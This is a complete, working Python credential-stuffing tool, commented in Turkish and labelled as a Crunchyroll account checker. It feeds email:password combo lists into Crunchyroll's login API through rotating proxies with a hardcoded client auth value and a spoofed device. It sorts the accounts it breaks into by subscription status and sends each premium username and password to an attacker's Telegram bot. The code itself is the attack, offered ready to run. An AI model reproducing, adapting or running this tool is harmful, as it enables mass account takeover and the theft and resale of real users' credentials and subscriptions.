Site: crunchyroll.com
Capture:
- Plan Abonelik plan kodu
- Abonelik Abonelik durumu
- Bitiş Abonelik bitiş tarihi
- Kalan Gün Kalan gün sayısı
- Plan Adı Planın tam adı
- Yenileme Yenileme tarihi
- İptal İptal edilmiş mi?
- Aktif Aktif mi?
Capture:
- Plan Abonelik plan kodu
- Abonelik Abonelik durumu
- Bitiş Abonelik bitiş tarihi
- Kalan Gün Kalan gün sayısı
- Plan Adı Planın tam adı
- Yenileme Yenileme tarihi
- İptal İptal edilmiş mi?
- Aktif Aktif mi?
Python:
import requests
import json
import time
import os
import sys
import re
import uuid
import urllib3
from datetime import datetime
from typing import Optional, Dict, List, Tuple
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Renk:
SIYAH = '\033[90m'
KIRMIZI = '\033[91m'
YESIL = '\033[92m'
SARI = '\033[93m'
MAVI = '\033[94m'
MOR = '\033[95m'
TURKUAZ = '\033[96m'
BEYAZ = '\033[97m'
PARLAK_SIYAH = '\033[30;1m'
PARLAK_KIRMIZI = '\033[31;1m'
PARLAK_YESIL = '\033[32;1m'
PARLAK_SARI = '\033[33;1m'
PARLAK_MAVI = '\033[34;1m'
PARLAK_MOR = '\033[35;1m'
PARLAK_TURKUAZ = '\033[36;1m'
PARLAK_BEYAZ = '\033[37;1m'
BITIS = '\033[0m'
BOLD = '\033[1m'
def renkli_input(prompt: str, renk: str = Renk.PARLAK_MAVI) -> str:
print(f"{renk}{prompt}{Renk.BITIS}", end="")
return input()
def renkli_print(text: str, renk: str = Renk.BEYAZ, bold: bool = False):
if bold:
print(f"{Renk.BOLD}{renk}{text}{Renk.BITIS}")
else:
print(f"{renk}{text}{Renk.BITIS}")
def banner_goster():
try:
from cfonts import render
banner = render(' - CRUNCHYROLL', colors=['white','orange'], align='center')
print(banner)
except:
print("""
╔══════════════════════════════════════════════════════════════╗
║ v CRUNCHYROLL Checker ║
║
╚══════════════════════════════════════════════════════════════╝
""")
renkli_print(" ", Renk.PARLAK_TURKUAZ, True)
renkli_print("", Renk.PARLAK_SARI, True)
print("-"*60)
class CrunchyrollKontrolcu:
def __init__(self, bot_token: str, chat_id: str, proxy_listesi: List[str] = None, ssl_verify: bool = True, ssl_cert_path: str = None):
self.bot_token = bot_token
self.chat_id = chat_id
self.proxy_listesi = proxy_listesi or []
self.proxy_indeksi = 0
self.zaman_asimi = 30
self.ssl_verify = ssl_verify
self.ssl_cert_path = ssl_cert_path
self.durdu = False
self.oturum = requests.Session()
if not ssl_verify:
self.oturum.verify = False
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
elif ssl_cert_path and os.path.exists(ssl_cert_path):
self.oturum.verify = ssl_cert_path
try:
self.oturum.mount('https://', requests.adapters.HTTPAdapter(pool_connections=10, pool_maxsize=10, max_retries=3))
except:
pass
self.temel_basliklar = {
'User-Agent': 'Crunchyroll/3.54.0 Android/12 okhttp/4.12.0',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'close'
}
self.basic_auth = "bm12anNoZmtueW14eGtnN2ZiaDk6WllJVnJCV1VQYmNYRHRiRDIyVlNMYTZiNFdRb3Mzelg="
self.sonuclar = {'premium': [], 'free': [], 'expired': [], 'gecersiz': [], 'hatalar': []}
self.istatistikler = {'toplam': 0, 'kontrol_edilen': 0, 'premium': 0, 'free': 0, 'expired': 0, 'gecersiz': 0, 'hatalar': 0}
def _proxy_al(self) -> Optional[Dict]:
if not self.proxy_listesi:
return None
proxy_str = self.proxy_listesi[self.proxy_indeksi % len(self.proxy_listesi)]
self.proxy_indeksi += 1
if '@' in proxy_str:
auth_kismi, adres_kismi = proxy_str.split('@', 1)
if ':' in auth_kismi:
kullanici, sifre = auth_kismi.split(':', 1)
return {'http': f'http://{kullanici}:{sifre}@{adres_kismi}', 'https': f'https://{kullanici}:{sifre}@{adres_kismi}'}
else:
return {'http': f'http://{proxy_str}', 'https': f'https://{proxy_str}'}
return None
def _istek_gonder(self, method: str, url: str, basliklar: Dict = None, veri: Dict = None, json_veri: Dict = None) -> requests.Response:
istek_basliklari = self.temel_basliklar.copy()
if basliklar:
istek_basliklari.update(basliklar)
proxyler = self._proxy_al()
try:
verify = self.ssl_verify
if not verify:
verify = False
if method.upper() == 'GET':
return self.oturum.get(url, headers=istek_basliklari, proxies=proxyler, timeout=self.zaman_asimi, verify=verify)
else:
if json_veri:
return self.oturum.post(url, headers=istek_basliklari, json=json_veri, proxies=proxyler, timeout=self.zaman_asimi, verify=verify)
elif veri:
return self.oturum.post(url, headers=istek_basliklari, data=veri, proxies=proxyler, timeout=self.zaman_asimi, verify=verify)
else:
return self.oturum.post(url, headers=istek_basliklari, proxies=proxyler, timeout=self.zaman_asimi, verify=verify)
except requests.exceptions.SSLError:
renkli_print(" [!] SSL Hatasi, dogrulama kapatiliyor...", Renk.PARLAK_SARI)
self.ssl_verify = False
self.oturum.verify = False
return self._istek_gonder(method, url, basliklar, veri, json_veri)
except requests.exceptions.RequestException:
bos_cevap = requests.Response()
bos_cevap.status_code = 0
bos_cevap._content = b'{}'
return bos_cevap
def _guid_olustur(self) -> str:
return str(uuid.uuid4())
def _url_encode(self, metin: str) -> str:
import urllib.parse
return urllib.parse.quote(metin, safe='')
def _kalan_gun_hesapla(self, tarih: str) -> int:
try:
if not tarih:
return 0
tarih_obj = datetime.fromisoformat(tarih.replace('Z', '+00:00'))
simdi = datetime.now(tarih_obj.tzinfo)
fark = (tarih_obj - simdi).days
return fark if fark > 0 else 0
except:
return 0
def giris_yap(self, kullanici_adi: str, sifre: str) -> Tuple[str, Optional[str], Optional[str]]:
device_id = self._guid_olustur()
username_encoded = self._url_encode(kullanici_adi)
password_encoded = self._url_encode(sifre)
url = "https://beta-api.crunchyroll.com/auth/v1/token"
veri = f"username={username_encoded}&password={password_encoded}&grant_type=password&scope=offline_access&device_id={device_id}&device_name=DUK-AL20&device_type=samsung%20SM-N975F"
basliklar = {
'Host': 'beta-api.crunchyroll.com',
'Authorization': f'Basic {self.basic_auth}',
'Etp-Anonymous-Id': device_id,
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': str(len(veri))
}
cevap = self._istek_gonder('POST', url, basliklar=basliklar, veri=veri)
if cevap.status_code == 200:
try:
veri_json = cevap.json()
if 'access_token' in veri_json:
return 'basarili', veri_json.get('access_token'), device_id
if 'error' in veri_json:
if 'invalid_grant' in str(veri_json) or 'access_token.invalid' in str(veri_json):
return 'gecersiz', None, None
except:
pass
if 'invalid_grant' in cevap.text or 'invalid' in cevap.text.lower():
return 'gecersiz', None, None
return 'basarisiz', None, None
def hesap_bilgileri_al(self, token: str) -> Tuple[Optional[str], Optional[str]]:
url = "https://beta-api.crunchyroll.com/accounts/v1/me"
basliklar = {
'Authorization': f'Bearer {token}',
'User-Agent': 'Crunchyroll/3.48.2 Android/9 okhttp/4.12.0'
}
cevap = self._istek_gonder('GET', url, basliklar=basliklar)
if cevap.status_code == 200:
try:
veri = cevap.json()
external_id = veri.get('external_id')
username = veri.get('username') or veri.get('email')
return external_id, username
except:
pass
return None, None
def abonelik_durumu_al(self, token: str, external_id: str) -> Tuple[str, Dict]:
url = f"https://beta-api.crunchyroll.com/subs/v1/subscriptions/{external_id}/products"
basliklar = {
'Authorization': f'Bearer {token}',
'User-Agent': 'Crunchyroll/3.48.2 Android/9 okhttp/4.12.0'
}
cevap = self._istek_gonder('GET', url, basliklar=basliklar)
detaylar = {}
if cevap.status_code == 200:
try:
veri = cevap.json()
# SKU (plan) bilgisi
sku_pattern = r'"sku":"(.*?)"'
sku_match = re.search(sku_pattern, cevap.text)
if sku_match:
detaylar['plan'] = sku_match.group(1)
# is_subscribable kontrolu
if '"is_subscribable":true' in cevap.text:
return 'PREMIUM', detaylar
if 'subscription.not_found' in cevap.text or 'Subscription Not Found' in cevap.text:
return 'FREE', detaylar
if ',"total":0,' in cevap.text or 'items":[]' in cevap.text:
return 'FREE', detaylar
if '"is_cancelled":true' in cevap.text:
return 'EXPIRED', detaylar
# JSON'dan kontrol
if isinstance(veri, dict):
if veri.get('is_subscribable') == True:
return 'PREMIUM', detaylar
items = veri.get('items', [])
if not items:
return 'FREE', detaylar
for item in items:
if item.get('is_cancelled') == True:
return 'EXPIRED', detaylar
if len(items) > 0:
return 'PREMIUM', detaylar
except:
pass
return 'FREE', detaylar
def abonelik_detaylari_al(self, token: str, external_id: str) -> Dict:
url = f"https://beta-api.crunchyroll.com/subs/v1/subscriptions/{external_id}"
basliklar = {
'Authorization': f'Bearer {token}',
'User-Agent': 'Crunchyroll/3.48.2 Android/9 okhttp/4.12.0'
}
detaylar = {}
cevap = self._istek_gonder('GET', url, basliklar=basliklar)
if cevap.status_code == 200:
try:
veri = cevap.json()
# next_renewal_date
if 'next_renewal_date' in veri:
renew_date = veri.get('next_renewal_date')
if renew_date:
detaylar['renewal_date'] = renew_date.split('T')[0]
kalan_gun = self._kalan_gun_hesapla(renew_date)
detaylar['remaining_days'] = kalan_gun
# subscription plan
if 'subscription_plan' in veri:
plan = veri.get('subscription_plan')
if isinstance(plan, dict):
if 'name' in plan:
detaylar['plan_name'] = plan.get('name')
# is_cancelled
if 'is_cancelled' in veri:
detaylar['is_cancelled'] = veri.get('is_cancelled')
# is_active
if 'is_active' in veri:
detaylar['is_active'] = veri.get('is_active')
except:
pass
return detaylar
def telegram_mesaj_gonder(self, mesaj: str):
try:
url = f"https://api.telegram.org/bot{self.bot_token}/sendMessage"
veri = {'chat_id': self.chat_id, 'text': mesaj, 'parse_mode': 'HTML'}
self.oturum.post(url, json=veri, timeout=10, verify=self.ssl_verify)
except:
pass
def hesap_kontrol_et(self, kullanici_adi: str, sifre: str) -> Dict:
sonuc = {'kullanici': kullanici_adi, 'sifre': sifre, 'durum': 'hata', 'detaylar': {}, 'zaman_damgasi': datetime.now().isoformat()}
giris_durumu, token, device_id = self.giris_yap(kullanici_adi, sifre)
if giris_durumu == 'gecersiz':
sonuc['durum'] = 'gecersiz'
sonuc['mesaj'] = 'Gecersiz kimlik'
self.istatistikler['gecersiz'] += 1
return sonuc
elif giris_durumu == 'basarisiz' or not token:
sonuc['durum'] = 'hata'
sonuc['mesaj'] = 'Giris basarisiz'
self.istatistikler['hatalar'] += 1
return sonuc
external_id, username = self.hesap_bilgileri_al(token)
if not external_id:
sonuc['durum'] = 'hata'
sonuc['mesaj'] = 'Hesap bilgileri alinamadi'
self.istatistikler['hatalar'] += 1
return sonuc
durum, detaylar = self.abonelik_durumu_al(token, external_id)
sonuc['durum'] = durum
sonuc['detaylar'] = detaylar
# Detayli bilgileri al
detayli_bilgi = self.abonelik_detaylari_al(token, external_id)
sonuc['detaylar'].update(detayli_bilgi)
if durum == 'PREMIUM':
self.istatistikler['premium'] += 1
self.sonuclar['premium'].append(sonuc)
elif durum == 'FREE':
self.istatistikler['free'] += 1
self.sonuclar['free'].append(sonuc)
elif durum == 'EXPIRED':
self.istatistikler['expired'] += 1
self.sonuclar['expired'].append(sonuc)
return sonuc
def dosyadan_kontrol(self, combo_dosyasi: str, cikti_dosyasi: str = None, gecikme: float = 0.5, maks_deneme: int = 3, telegram_bildirim: bool = True):
if not os.path.exists(combo_dosyasi):
renkli_print(f"[!] Dosya bulunamadi: {combo_dosyasi}", Renk.PARLAK_KIRMIZI)
return
with open(combo_dosyasi, 'r', encoding='utf-8', errors='ignore') as f:
satirlar = [satir.strip() for satir in f if satir.strip() and ':' in satir]
self.istatistikler['toplam'] = len(satirlar)
renkli_print(f"[*] Toplam {self.istatistikler['toplam']} hesap yuklendi", Renk.PARLAK_YESIL)
renkli_print(f"[*] SSL Dogrulama: {'ACIK' if self.ssl_verify else 'KAPALI'}", Renk.PARLAK_TURKUAZ)
renkli_print("[*] Kontrol basliyor...\n", Renk.PARLAK_MAVI)
baslangic = time.time()
for idx, satir in enumerate(satirlar, 1):
if self.durdu:
renkli_print("\n[!] Kullanici tarafindan durduruldu.", Renk.PARLAK_SARI)
break
try:
if ':' not in satir:
continue
kullanici_adi, sifre = satir.split(':', 1)
ilerleme = f"[{idx}/{self.istatistikler['toplam']}]"
renkli_print(f"{ilerleme} Kontrol: {kullanici_adi}", Renk.PARLAK_BEYAZ)
sonuc = None
for deneme in range(maks_deneme):
sonuc = self.hesap_kontrol_et(kullanici_adi.strip(), sifre.strip())
if sonuc['durum'] not in ['hata']:
break
if deneme < maks_deneme - 1:
renkli_print(f" [!] {sonuc.get('mesaj', 'Hata')}, tekrar... ({deneme+1}/{maks_deneme})", Renk.PARLAK_SARI)
time.sleep(gecikme * 2)
if sonuc:
durum_emoji = {'PREMIUM': '⭐', 'FREE': '🆓', 'EXPIRED': '⏰', 'gecersiz': '❌', 'hata': '⚠️'}.get(sonuc['durum'], '❓')
durum_renk = {'PREMIUM': Renk.PARLAK_YESIL, 'FREE': Renk.PARLAK_MAVI, 'EXPIRED': Renk.PARLAK_SARI, 'gecersiz': Renk.PARLAK_KIRMIZI, 'hata': Renk.PARLAK_KIRMIZI}.get(sonuc['durum'], Renk.BEYAZ)
detay_str = ""
if sonuc['detaylar']:
if 'plan' in sonuc['detaylar'] and sonuc['detaylar']['plan']:
detay_str += f"Plan: {sonuc['detaylar']['plan']}"
if 'plan_name' in sonuc['detaylar'] and sonuc['detaylar']['plan_name']:
detay_str += f" | Plan: {sonuc['detaylar']['plan_name']}"
if 'remaining_days' in sonuc['detaylar'] and sonuc['detaylar']['remaining_days']:
detay_str += f" | Kalan Gun: {sonuc['detaylar']['remaining_days']}"
if 'renewal_date' in sonuc['detaylar'] and sonuc['detaylar']['renewal_date']:
detay_str += f" | Yenileme: {sonuc['detaylar']['renewal_date']}"
renkli_print(f" {durum_emoji} {sonuc['durum']} - {detay_str}", durum_renk)
if telegram_bildirim and sonuc['durum'] in ['PREMIUM']:
mesaj = f"✅ <b>CRUNCHYROLL PREMIUM</b>\n"
mesaj += f"👤 {kullanici_adi}\n"
mesaj += f"🔑 {sifre}\n"
if detay_str:
mesaj += f"📋 {detay_str}"
self.telegram_mesaj_gonder(mesaj)
self.istatistikler['kontrol_edilen'] += 1
time.sleep(gecikme)
except KeyboardInterrupt:
self.durdu = True
break
except Exception as e:
renkli_print(f" [!] Hata: {str(e)}", Renk.PARLAK_KIRMIZI)
self.istatistikler['hatalar'] += 1
gecen_sure = time.time() - baslangic
self._istatistikleri_goster(gecen_sure)
if cikti_dosyasi:
self._sonuclari_kaydet(cikti_dosyasi)
def _istatistikleri_goster(self, gecen_sure: float):
print("\n" + "="*60)
renkli_print("📊 KONTROL SONUCLARI", Renk.PARLAK_BEYAZ, True)
print("="*60)
renkli_print(f"Toplam: {self.istatistikler['toplam']}", Renk.BEYAZ)
renkli_print(f"Kontrol: {self.istatistikler['kontrol_edilen']}", Renk.BEYAZ)
renkli_print(f"⭐ Premium: {self.istatistikler['premium']}", Renk.PARLAK_YESIL)
renkli_print(f"🆓 Free: {self.istatistikler['free']}", Renk.PARLAK_MAVI)
renkli_print(f"⏰ Expired: {self.istatistikler['expired']}", Renk.PARLAK_SARI)
renkli_print(f"❌ Gecersiz: {self.istatistikler['gecersiz']}", Renk.PARLAK_KIRMIZI)
renkli_print(f"⚠️ Hata: {self.istatistikler['hatalar']}", Renk.PARLAK_KIRMIZI)
renkli_print(f"⏱️ Sure: {gecen_sure:.2f} saniye", Renk.PARLAK_TURKUAZ)
print("="*60)
def _sonuclari_kaydet(self, cikti_dosyasi: str):
try:
taban_adi = os.path.splitext(cikti_dosyasi)[0]
for kategori_adi, kategori_sonuclari in self.sonuclar.items():
if kategori_sonuclari:
kategori_dosyasi = f"{taban_adi}_{kategori_adi}.txt"
with open(kategori_dosyasi, 'w', encoding='utf-8') as f:
for r in kategori_sonuclari:
f.write(f"{r['kullanici']}:{r['sifre']}")
if r['detaylar']:
detaylar = r['detaylar']
if 'plan' in detaylar:
f.write(f" | Plan: {detaylar['plan']}")
if 'plan_name' in detaylar:
f.write(f" | {detaylar['plan_name']}")
if 'remaining_days' in detaylar:
f.write(f" | Kalan: {detaylar['remaining_days']} gun")
f.write("\n")
renkli_print(f"[✓] {kategori_adi} kaydedildi: {kategori_dosyasi}", Renk.PARLAK_YESIL)
with open(cikti_dosyasi, 'w', encoding='utf-8') as f:
json.dump({'istatistikler': self.istatistikler, 'sonuclar': self.sonuclar}, f, indent=2, ensure_ascii=False)
renkli_print(f"[✓] Tum sonuclar kaydedildi: {cikti_dosyasi}", Renk.PARLAK_YESIL)
except Exception as e:
renkli_print(f"[!] Sonuclar kaydedilemedi: {e}", Renk.PARLAK_KIRMIZI)
def ana():
banner_goster()
try:
bot_token = renkli_input("[?] Telegram Bot Token girin: ", Renk.PARLAK_MOR)
if not bot_token.strip():
renkli_print("[!] Token bos olamaz!", Renk.PARLAK_KIRMIZI)
return
chat_id = renkli_input("[?] Telegram Chat ID girin: ", Renk.PARLAK_MOR)
if not chat_id.strip():
renkli_print("[!] Chat ID bos olamaz!", Renk.PARLAK_KIRMIZI)
return
renkli_print("\n[?] SSL Sertifika Ayarlari:", Renk.PARLAK_TURKUAZ)
ssl_verify = renkli_input(" SSL dogrulama acik olsun mu? (e/h, varsayilan e): ", Renk.PARLAK_TURKUAZ).strip().lower()
ssl_verify = ssl_verify != 'h'
ssl_cert_path = None
if ssl_verify:
ssl_cert_input = renkli_input(" Ozel sertifika dosyasi yolu (bos birak = sistem sertifikalari): ", Renk.PARLAK_TURKUAZ).strip()
if ssl_cert_input and os.path.exists(ssl_cert_input):
ssl_cert_path = ssl_cert_input
renkli_print(f" [*] Sertifika dosyasi kullanilacak: {ssl_cert_path}", Renk.PARLAK_YESIL)
combo_dosyasi = renkli_input("\n[?] Combo dosyasi yolunu girin (email:sifre): ", Renk.PARLAK_TURKUAZ)
if not os.path.exists(combo_dosyasi):
renkli_print(f"[!] Dosya bulunamadi: {combo_dosyasi}", Renk.PARLAK_KIRMIZI)
return
cikti_dosyasi = renkli_input("[?] Cikti dosyasi adi (bos=crunchyroll_sonuclari.json): ", Renk.PARLAK_TURKUAZ)
if not cikti_dosyasi.strip():
cikti_dosyasi = "crunchyroll_sonuclari.json"
proxy_kullan = renkli_input("[?] Proxy kullan? (e/h): ", Renk.PARLAK_TURKUAZ).strip().lower()
proxy_listesi = []
if proxy_kullan == 'e':
proxy_dosyasi = renkli_input("[?] Proxy dosyasi yolu: ", Renk.PARLAK_TURKUAZ)
if os.path.exists(proxy_dosyasi):
with open(proxy_dosyasi, 'r', encoding='utf-8') as f:
proxy_listesi = [satir.strip() for satir in f if satir.strip()]
renkli_print(f"[*] {len(proxy_listesi)} proxy yuklendi", Renk.PARLAK_YESIL)
else:
renkli_print("[!] Proxy dosyasi bulunamadi, proxysiz devam...", Renk.PARLAK_SARI)
gecikme_input = renkli_input("[?] Istek arasi bekleme (saniye, varsayilan 0.5): ", Renk.PARLAK_TURKUAZ)
gecikme = float(gecikme_input.strip()) if gecikme_input.strip() else 0.5
telegram_bildirim = renkli_input("[?] Telegram'a bildirim gonder? (e/h): ", Renk.PARLAK_TURKUAZ).strip().lower() == 'e'
renkli_print("\n[*] Kontrol baslatiliyor...", Renk.PARLAK_YESIL)
renkli_print("[*] CTRL+C ile durdurabilirsiniz.\n", Renk.PARLAK_SARI)
kontrolcu = CrunchyrollKontrolcu(bot_token.strip(), chat_id.strip(), proxy_listesi, ssl_verify=ssl_verify, ssl_cert_path=ssl_cert_path)
kontrolcu.dosyadan_kontrol(combo_dosyasi=combo_dosyasi, cikti_dosyasi=cikti_dosyasi, gecikme=gecikme, telegram_bildirim=telegram_bildirim)
except KeyboardInterrupt:
renkli_print("\n\n[!] Kullanici tarafindan durduruldu.", Renk.PARLAK_SARI)
except Exception as e:
renkli_print(f"\n[!] Beklenmeyen hata: {e}", Renk.PARLAK_KIRMIZI)
renkli_print("\n[*] Islem tamamlandi.", Renk.PARLAK_YESIL)
if __name__ == "__main__":
ana()